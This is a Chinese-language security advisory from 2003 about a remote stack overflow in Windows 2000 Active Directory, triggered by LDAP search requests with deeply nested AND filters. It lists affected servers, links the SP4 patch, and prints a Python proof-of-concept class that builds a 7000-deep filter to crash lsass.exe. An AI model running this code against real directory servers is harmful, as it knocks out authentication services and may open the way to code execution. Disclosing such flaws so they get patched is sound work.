xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Microsoft Windows 2000活动目录远程堆栈溢出漏洞


发布时间:2003-07-02
更新时间:2003-07-02
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:7930

受影响系统
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Server SP3
详细描述
活动目录是W2K组件。由活动目录提供的目录服务基于LDAP协议,因此活动目录对象可以通过使用LDAP协议存储和获得。

当使用1000个“AND”的LDAP 3搜索请求发送给服务器,会导致Lsaas.exe服务崩溃,攻击者只要建立'search request'请求给目录服务器,可能导致任意代码执行。

测试代码
Python script演示如下:

------------------------------------
class ActiveDirectoryDOS( Ldap ):

     def __init__(self):
         self._s = None
         self.host = '192.168.0.1'
         self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'
         self.port = 389
         self.buffer = ''
         self.msg_id = 1
         Ldap.__init__()

     def generateFilter_BinaryOp( self, filter ):
         filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()
         filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )
         return filterBuffer

     def generateFilter_RecursiveBinaryOp( self, filter, numTimes):
         simpleBinOp = self.generateFilter_BinaryOp( filter )
         filterBuffer = simpleBinOp
         for cnt in range( 0, numTimes ):
             filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )
         return filterBuffer


     def searchSub( self, filterBuffer ):

         self.bindRequest()
         self.searchRequest( filterBuffer )

     def run(self, host = '', basedn = '', name = '' ):

         # the machine must not exist
         machine_name = 'xaxax'

         filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUALITY,'name',machine_name)

         # execute the anonymous query
         print 'executing query'
         filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )
         self.searchSub( filterBuffer )

------------------------------------

解决方案
补丁下载:

Microsoft Windows 2000 Server SP3:

Microsoft Upgrade Windows 2000 SP4
http://www.microsoft.com/windows2000/downloads/servicepacks/sp4/default.asp

Microsoft Windows 2000 Advanced Server SP3:

Microsoft Upgrade Windows 2000 SP4
http://www.microsoft.com/windows2000/downloads/servicepacks/sp4/default.asp

相关信息
参考:http://www.securityfocus.com/advisories/5544
相关主页:http://www.microsoft.com/windows2000/technologies/directory/ad/default.asp